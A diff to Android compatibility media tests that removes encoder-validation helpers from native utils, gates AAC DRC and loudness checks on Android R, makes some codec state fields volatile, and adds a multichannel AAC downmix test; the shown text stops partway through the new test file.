diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
index 7596cbb..21b7f7f 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.cpp
+++ b/tests/tests/media/libmediandkjni/native_media_utils.cpp
@@ -27,11 +27,6 @@
 
 namespace Utils {
 
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
-
-const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
-
 Status Thread::startThread() {
     assert(mHandle == 0);
     if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
@@ -56,273 +51,4 @@
     return nullptr;
 }
 
-int32_t RunConfig::dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& paramsList) const {
-    paramsList.clear();
-    for (const DParamRef& d : mParams) {
-        assert(d->param() != nullptr);
-
-        if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &tmp)) {
-                paramsList.push_back(d);
-            }
-
-        } else if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &tmp)) {
-                paramsList.push_back(d);
-            }
-        }
-    }
-    return (int32_t)paramsList.size();
-}
-
-static bool comparePTS(const AMediaCodecBufferInfo& l, const AMediaCodecBufferInfo& r) {
-    return l.presentationTimeUs < r.presentationTimeUs;
-}
-
-int32_t Stats::getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const {
-    int64_t sum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-    }
-    sum *= 8; // kB -> kb
-
-    auto from = mInfos.begin() + frameNumFrom;
-    auto to = mInfos.begin() + frameNumTo;
-    int64_t duration = (*std::max_element(from, to, comparePTS)).presentationTimeUs
-            - (*std::min_element(from, to, comparePTS)).presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t avg = (sum * 1e6) / duration;
-    return (int32_t)avg;
-}
-
-int32_t Stats::getBitratePeak(
-        int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const {
-    int64_t sum = 0;
-    int64_t maxSum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    assert(windowSize < (frameNumTo - frameNumFrom));
-
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-        if (i >= windowSize) {
-            sum -= mInfos[i - windowSize].size;
-        }
-        maxSum = sum > maxSum ? sum : maxSum;
-    }
-    maxSum *= 8; // kB -> kb
-    int64_t duration = mInfos[frameNumTo].presentationTimeUs -
-            mInfos[frameNumFrom].presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t peak = (maxSum * 1e6) / duration;
-    return (int32_t)peak;
-}
-
-int32_t Stats::getSyncFrameNext(int32_t frameNumWhence) const {
-    assert(frameNumWhence >= 0 && frameNumWhence < mInfos.size());
-    int i = frameNumWhence;
-    for (; i < (int)mInfos.size(); ++i) {
-        if (mInfos[i].flags & TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME) {
-            return i;
-        }
-    }
-    return -1;
-}
-
-Status Validator::checkOverallBitrate(const Stats &stats, const RunConfig& config) {
-    // skip this check if bitrate was updated dynamically
-    ALOGV("DEBUG: checkOverallBitrate");
-    std::vector<DParamRef> tmp;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, tmp) > 0) {
-        ALOGV("DEBUG: checkOverallBitrate: dynamic bitrate enabled");
-        return OK;
-    }
-
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkOverallBitrate: bitrate was not configured !");
-        return FAIL;
-    }
-    assert(bitrate > 0);
-
-    int32_t avgBitrate = stats.getBitrateAverage(0, config.frameCount() - 1);
-    float deviation = (avgBitrate - bitrate) * 100 / bitrate;
-    ALOGI("RESULT: Bitrate expected=%d Achieved=%d Deviation=%.2g%%",
-            bitrate, avgBitrate, deviation);
-
-    if (fabs(deviation) > kBitrateDeviationPercentMax) {
-        ALOGI("RESULT: ERROR: bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                deviation, kBitrateDeviationPercentMax);
-        return FAIL;
-    }
-
-    // TODO
-    // if bitrate mode was set to CBR, check for peak-bitrate deviation (+/-20%?)
-    return OK;
-}
-
-Status Validator::checkFramerate(const Stats&, const RunConfig&) {
-    // TODO - tricky if frames are reordered
-    return OK;
-}
-
-Status Validator::checkIntraPeriod(const Stats& stats, const RunConfig& config) {
-    float framerate;
-    if (!AMediaFormat_getFloat(config.format(), AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: framerate was not configured ! : %s",
-                AMediaFormat_toString(config.format()));
-        return OK;
-    }
-
-    int32_t intraPeriod;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, &intraPeriod)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: I-period was not configured !");
-        return OK;
-    }
-
-    // TODO: handle special cases
-    // intraPeriod = 0  => all I
-    // intraPeriod < 0  => infinite GOP
-    if (intraPeriod <= 0) {
-        return OK;
-    }
-
-    int32_t iInterval = framerate * intraPeriod;
-
-    if (iInterval >= stats.frameCount()) {
-        ALOGV("RESULT: Intra-period %d exceeds frame-count %d ..skipping",
-                iInterval, stats.frameCount());
-        return OK;
-    }
-
-    int32_t numGopFound = 0;
-    int32_t sumGopDistance = 0;
-    int32_t lastKeyLocation = stats.getSyncFrameNext(0);
-    for (;;) {
-        int32_t nextKeyLocation = stats.getSyncFrameNext(lastKeyLocation + iInterval - kSyncFrameDeviationFramesMax);
-        if (nextKeyLocation < 0) {
-            break;
-        }
-        if (abs(nextKeyLocation - lastKeyLocation - iInterval) > kSyncFrameDeviationFramesMax) {
-            ALOGE("RESULT: ERROR: Intra period at frame %d is %d (expected %d +/-%d)",
-                    lastKeyLocation, nextKeyLocation - lastKeyLocation, iInterval,
-                    kSyncFrameDeviationFramesMax);
-            return FAIL;
-        }
-        ++numGopFound;
-        sumGopDistance += (nextKeyLocation - lastKeyLocation);
-        lastKeyLocation = nextKeyLocation;
-    }
-
-    if (numGopFound) {
-        ALOGI("RESULT: Intra-period: configured=%d frames (%d sec). Actual=%d frames",
-                iInterval, intraPeriod, sumGopDistance / numGopFound);
-    }
-
-    return OK;
-}
-
-Status Validator::checkDynamicKeyFrames(const Stats& stats, const RunConfig& config) {
-    ALOGV("DEBUG: checkDynamicKeyFrames");
-    std::vector<DParamRef> keyRequests;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, keyRequests) <= 0) {
-        ALOGV("DEBUG: dynamic key-frames were not requested");
-        return OK;
-    }
-
-    std::string debugStr = "";
-    bool fail = false;
-    for (DParamRef &d : keyRequests) {
-        int32_t generatedKeyLocation = stats.getSyncFrameNext(d->frameNum());
-        if (generatedKeyLocation - d->frameNum() > kSyncFrameDeviationFramesMax) {
-            ALOGI("RESULT: ERROR: Dynamic sync-frame requested at frame=%d, got at frame=%d",
-                    d->frameNum(), generatedKeyLocation);
-            fail = true;
-        }
-        char tmp[128];
-        snprintf(tmp, 128, " %d/%d,", generatedKeyLocation, d->frameNum());
-        debugStr = debugStr + std::string(tmp);
-    }
-    ALOGI("RESULT: Dynamic Key-frame locations - actual/requested :");
-    ALOGI("RESULT:         %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-Status Validator::checkDynamicBitrate(const Stats& stats, const RunConfig& config) {
-    // Checking bitrate convergence between two updates makes sense if requested along with CBR
-    // check if CBR mode has been set. If not, simply pass
-    int32_t bitrateMode;
-    if (!AMediaFormat_getInt32(config.format(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE,
-            &bitrateMode) || bitrateMode != kBitrateModeConstant) {
-        ALOGV("DEBUG: checkDynamicBitrate: skipping since CBR not requested");
-        return OK; //skip
-    }
-
-    // check if dynamic bitrates were requested
-    std::vector<DParamRef> bitrateUpdates;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrateUpdates) <= 0) {
-        ALOGV("DEBUG: checkDynamicBitrate: dynamic bitrates not requested !");
-        return OK; //skip
-    }
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkDynamicBitrate: bitrate was not configured !");
-        return OK; //skip
-    }
-    assert(bitrate > 0);
-
-    std::string debugStr = "";
-    int32_t lastBitrateUpdateFrameNum = 0;
-    int32_t lastBitrate = bitrate;
-    bool fail = false;
-
-    for (DParamRef &d : bitrateUpdates) {
-        int32_t updatedBitrate = 0;
-        if (!AMediaFormat_getInt32(
-                d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &updatedBitrate)) {
-            ALOGE("BUG: expected dynamic bitrate");
-            continue;
-        }
-        assert(updatedBitrate > 0);
-
-        int32_t lastAverage = stats.getBitrateAverage(lastBitrateUpdateFrameNum,  d->frameNum() - 1);
-        float deviation = (lastAverage - lastBitrate) * 100 / lastBitrate;
-
-        if (fabs(deviation) > kBitrateDeviationPercentMax) {
-            ALOGI("RESULT: ERROR: dynamic bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                    deviation, kBitrateDeviationPercentMax);
-            fail |= true;
-        }
-
-        char tmp[128];
-        snprintf(tmp, 128, "  [%d - %d] %d/%d,",
-                lastBitrateUpdateFrameNum, d->frameNum() - 1, lastAverage, lastBitrate);
-        debugStr = debugStr + std::string(tmp);
-        lastBitrate = updatedBitrate;
-        lastBitrateUpdateFrameNum = d->frameNum();
-    }
-
-    ALOGI("RESULT: Dynamic Bitrates : [from-frame  -  to-frame] actual/expected :");
-    ALOGI("RESULT:        %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-
 }; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
index 8a1751e..e5842f7 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.h
+++ b/tests/tests/media/libmediandkjni/native_media_utils.h
@@ -32,20 +32,6 @@
 
 namespace Utils {
 
-// constants not defined in NDK api
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE;
-static const uint32_t TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME = 0x1;
-
-extern const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE;
-static const int32_t kBitrateModeConstant = 2;
-static const int32_t kColorFormatSurface = 0x7f000789;
-
-// tolerances
-// Keep in sync with the variation at src/android/media/cts/VideoCodecTest.java
-static const float kBitrateDeviationPercentMax = 20.0;
-static const int32_t kSyncFrameDeviationFramesMax = 5;
-
 enum Status : int32_t {
     FAIL = -1,
     OK = 0,
@@ -92,117 +78,6 @@
     ANativeWindow_release(_a);
 }
 
-/*
- * Dynamic paramater that will be applied via AMediaCodec_setParamater(..)
- *  during the encoding process, at the given frame number
- */
-struct DynamicParam {
-    DynamicParam() = delete;
-    DynamicParam(const DynamicParam&) = delete;
-    ~DynamicParam() = default;
-
-    static std::shared_ptr<DynamicParam> newBitRate(int atFrame, int32_t bitrate) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-    static std::shared_ptr<DynamicParam> newRequestSync(int atFrame) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, 0 /*ignore*/);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-
-    inline int frameNum() const {
-        return mFrameNum;
-    }
-    inline AMediaFormat *param() const {
-        return mParam.get();
-    }
-
-private:
-    DynamicParam(int _at)
-        : mFrameNum(_at) {
-        mParam = std::shared_ptr<AMediaFormat>(AMediaFormat_new(), deleter_AMediaFormat);
-    }
-
-    int mFrameNum;
-    std::shared_ptr<AMediaFormat> mParam;
-};
-
-using DParamRef = std::shared_ptr<DynamicParam>;
-
-/*
- * Configuration to the encoder (static + dynamic)
- */
-struct RunConfig {
-    RunConfig(const RunConfig&) = delete;
-    RunConfig(int32_t numFramesToEncode, std::shared_ptr<AMediaFormat> staticParams)
-        : mNumFramesToEncode (numFramesToEncode),
-          mStaticParams(staticParams) {
-    }
-    void add(const DParamRef& p) {
-        mParams.push_back(p);
-    }
-
-    AMediaFormat* format() const {
-        return mStaticParams.get();
-    }
-    const std::vector<DParamRef>& dynamicParams() const {
-        return mParams;
-    }
-    int32_t frameCount() const {
-        return mNumFramesToEncode;
-    }
-    int32_t dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& ) const;
-
-private:
-    int32_t mNumFramesToEncode;
-    std::vector<DParamRef> mParams;
-    std::shared_ptr<AMediaFormat> mStaticParams;
-};
-
-/*
- * Encoded output statistics
- * provides helpers to compute windowed average of bitrate and search for I-frames
- */
-struct Stats {
-    Stats() = default;
-    Stats(const Stats&) = delete;
-    void add(const AMediaCodecBufferInfo &info) {
-        mInfos.push_back(info);
-    }
-    void setOutputFormat(std::shared_ptr<AMediaFormat> fmt) {
-        mOutputFormat = fmt;
-    }
-    int32_t frameCount() const {
-        return (int32_t)mInfos.size();
-    }
-    const std::vector<AMediaCodecBufferInfo>& infos() const {
-        return mInfos;
-    }
-
-    int32_t getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const;
-    int32_t getBitratePeak(int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const;
-    int32_t getSyncFrameNext(int32_t frameNumWhence) const;
-
-private:
-    std::vector<AMediaCodecBufferInfo> mInfos;
-    std::shared_ptr<AMediaFormat> mOutputFormat;
-};
-
-/*
- * Helpers to validate output (Stats) based on expected settings (RunConfig)
- * Check for validity of both static and dynamic settings
- */
-struct Validator {
-    static Status checkOverallBitrate(const Stats&, const RunConfig&);
-    static Status checkFramerate(const Stats&, const RunConfig&);
-    static Status checkIntraPeriod(const Stats&, const RunConfig&);
-    static Status checkDynamicKeyFrames(const Stats&, const RunConfig&);
-    static Status checkDynamicBitrate(const Stats&, const RunConfig&);
-};
-
 }; //namespace Utils
 
 #endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index 2384704..8a8f35d 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -20,6 +20,7 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Handler;
+import android.os.Looper;
 import android.util.Log;
 import android.view.Surface;
 import java.nio.ByteBuffer;
@@ -32,7 +33,8 @@
 public class CodecState {
     private static final String TAG = CodecState.class.getSimpleName();
 
-    private boolean mSawInputEOS, mSawOutputEOS;
+    private boolean mSawInputEOS;
+    private volatile boolean mSawOutputEOS;
     private boolean mLimitQueueDepth;
     private boolean mTunneled;
     private boolean mIsAudio;
@@ -43,7 +45,7 @@
     private LinkedList<Integer> mAvailableInputBufferIndices;
     private LinkedList<Integer> mAvailableOutputBufferIndices;
     private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
-    private long mPresentationTimeUs;
+    private volatile long mPresentationTimeUs;
     private long mSampleBaseTimeUs;
     private MediaCodec mCodec;
     private MediaTimeProvider mMediaTimeProvider;
@@ -51,7 +53,7 @@
     private MediaFormat mFormat;
     private MediaFormat mOutputFormat;
     private NonBlockingAudioTrack mAudioTrack;
-    private OnFrameRenderedListener mOnFrameRenderedListener;
+    private volatile OnFrameRenderedListener mOnFrameRenderedListener;
 
     /**
      * Manages audio and video playback using MediaCodec and AudioTrack.
@@ -89,7 +91,8 @@
 
         if (mTunneled && !mIsAudio) {
             mOnFrameRenderedListener = new OnFrameRenderedListener();
-            codec.setOnFrameRenderedListener(mOnFrameRenderedListener, new Handler());
+            codec.setOnFrameRenderedListener(mOnFrameRenderedListener,
+                                             new Handler(Looper.getMainLooper()));
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 3541454..8c90275 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -35,6 +35,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.view.Display;
@@ -42,6 +43,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -50,6 +52,8 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
+import androidx.test.filters.SdkSuppress;
+
 import java.io.BufferedInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -70,6 +74,7 @@
 public class DecoderTest extends MediaPlayerTestBase {
     private static final String TAG = "DecoderTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     private static final int RESET_MODE_NONE = 0;
     private static final int RESET_MODE_RECONFIGURE = 1;
@@ -274,6 +279,8 @@
     private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
                                        int[] channelMasks) throws Exception {
 
+        if (!MediaUtils.check(mIsAtLeastR, "test invalid before Android 11")) return;
+
         for (String mimetype : mimetypes) {
             // ensure we find a codec for all listed mime/channel/rate combinations
             MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
@@ -1691,8 +1698,12 @@
     }
 
     private List<String> codecsFor(int resource) throws IOException {
+        return codecsFor(resource, mResources);
+    }
+
+    protected static List<String> codecsFor(int resource, Resources resources) throws IOException {
         MediaExtractor ex = new MediaExtractor();
-        AssetFileDescriptor fd = mResources.openRawResourceFd(resource);
+        AssetFileDescriptor fd = resources.openRawResourceFd(resource);
         try {
             ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
         } finally {
@@ -3575,6 +3586,7 @@
         return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At1280x720() throws Exception {
         testLowLatencyVideo(
                 R.raw.video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz, 300,
@@ -3584,6 +3596,7 @@
                 true /* useNdk */);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At1920x1080() throws Exception {
         testLowLatencyVideo(
                 R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300,
@@ -3593,6 +3606,7 @@
                 true /* useNdk */);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At3840x2160() throws Exception {
         testLowLatencyVideo(
                 R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300,
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index c58f580..0263601 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -29,11 +29,15 @@
 import android.media.MediaFormat;
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.cts.R;
+import android.os.Build;
 import android.util.Log;
 import android.os.Bundle;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -46,6 +50,9 @@
 public class DecoderTestAacDrc {
     private static final String TAG = "DecoderTestAacDrc";
 
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
     private Resources mResources;
 
     @Before
@@ -145,6 +152,8 @@
      */
     @Test
     public void testDecodeAacInternalClipM4a() throws Exception {
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Internal clipping fixed in Android R"))
+                return;
         AudioParameter decParams = new AudioParameter();
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_internalclip_mp4,
                 -1, null, null, null /*decoderName: use default decoder*/);
@@ -202,17 +211,20 @@
                 throw new RuntimeException(e);
             }
 
-            // test loudness normalization off
-            // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
-            // waveform)
-            // normFactor = 1/(10^(3/10)) = 0.5f
-            // where 3 is the difference between the default level (-16), and -19 for this test
-            try {
-                checkUsacLoudness(-1, 0, (float)(1.0f/Math.pow(10.0f, 3.0f/10.0f)), aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
-                        + aacDecName);
-                throw new RuntimeException(e);
+            if (sIsAndroidRAndAbove) {
+                // test loudness normalization off
+                // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
+                // waveform)
+                // normFactor = 1/(10^(3/10)) = 0.5f
+                // where 3 is the difference between the default level (-16), and -19 for this test
+                try {
+                    checkUsacLoudness(-1, 0, (float) (1.0f / Math.pow(10.0f, 3.0f / 10.0f)),
+                            aacDecName);
+                } catch (Exception e) {
+                    Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+                            + aacDecName);
+                    throw new RuntimeException(e);
+                }
             }
         }
     }
@@ -412,6 +424,10 @@
     private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
             String decoderName) throws Exception {
         for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
             AudioParameter decParams = new AudioParameter();
             DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
             DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
@@ -564,16 +580,14 @@
         Log.v(localTag, "configuring with " + configFormat);
         codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
 
-        if (drcParams != null) {
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
             if(!runtimeChange) {
                 // check if MediaCodec gives back correct drc parameters
                 if (drcParams.mDecoderTargetLevel != 0) {
                     final int targetLevelFromCodec = codec.getOutputFormat()
                             .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                    if (false) { // TODO disabled until b/157773721 fixed
-                        if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                            fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
-                        }
+                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                        fail("DRC Target Ref Level received from MediaCodec is not the level set");
                     }
                 }
             }
@@ -690,21 +704,29 @@
             fail("decoder stopped outputing data");
         }
 
-        // check if MediaCodec gives back correct drc parameters
-        if (drcParams != null) {
+        // check if MediaCodec gives back correct drc parameters (R and above)
+        if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mDecoderTargetLevel != 0) {
                 final int targetLevelFromCodec = codec.getOutputFormat()
                         .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                if (false) { // TODO disabled until b/157773721 fixed
-                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                        fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
-                    }
+                if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                    fail("DRC Target Ref Level received from MediaCodec is not the level set");
                 }
             }
+
+            final MediaFormat outputFormat = codec.getOutputFormat();
+            final int cutFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
         }
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
-        if (expectedOutputLoudness != -2) {
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
             final int outputLoudnessFromCodec = codec.getOutputFormat()
                     .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
new file mode 100755
index 0000000..4e9c43e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.R;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+public class DecoderTestAacFormat {
+    private static final String TAG = "DecoderTestAacFormat";
+
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    private Resources mResources;
+
+    @Before
+    public void setUp() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(inst);
+        mResources = inst.getContext().getResources();
+    }
+
+    /**
+     * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
+     */
+    @Test
+    public void testHeAacM4aMultichannelDownmix() throws Exception {
+        Log.i(TAG, "START testDecodeHeAacMcM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "M-chan downmix fixed in Android R"))
+            return;
+
+        // array of multichannel resources with their expected number of channels without downmixing
+        int[][] samples = {
+                //  {resourceId, numChannels},
+                {R.raw.noise_5ch_48khz_aot5_dr_sbr_sig1_mp4, 5},
+                {R.raw.noise_6ch_44khz_aot5_dr_sbr_sig2_mp4, 6},
+        };
+        for (int[] sample: samples) {
+            for (String codecName : DecoderTest.codecsFor(sample[0] /* resource */, mResources)) {
+                // verify correct number of channels is observed without downmixing
+                AudioParameter chanParams = new AudioParameter();
+                decodeUpdateFormat(codecName, sample[0] /*resource*/, chanParams, 0 /*no downmix*/);
+                assertEquals("Number of channels differs for codec:" + codecName,
+                        sample[1], chanParams.getNumChannels());
+
+                // verify correct number of channels is observed when downmixing to stereo
+                AudioParameter downmixParams = new AudioParameter();
+                decodeUpdateFormat(codecName, sample[0] /* resource */, downmixParams,
+                        2 /*stereo downmix*/);
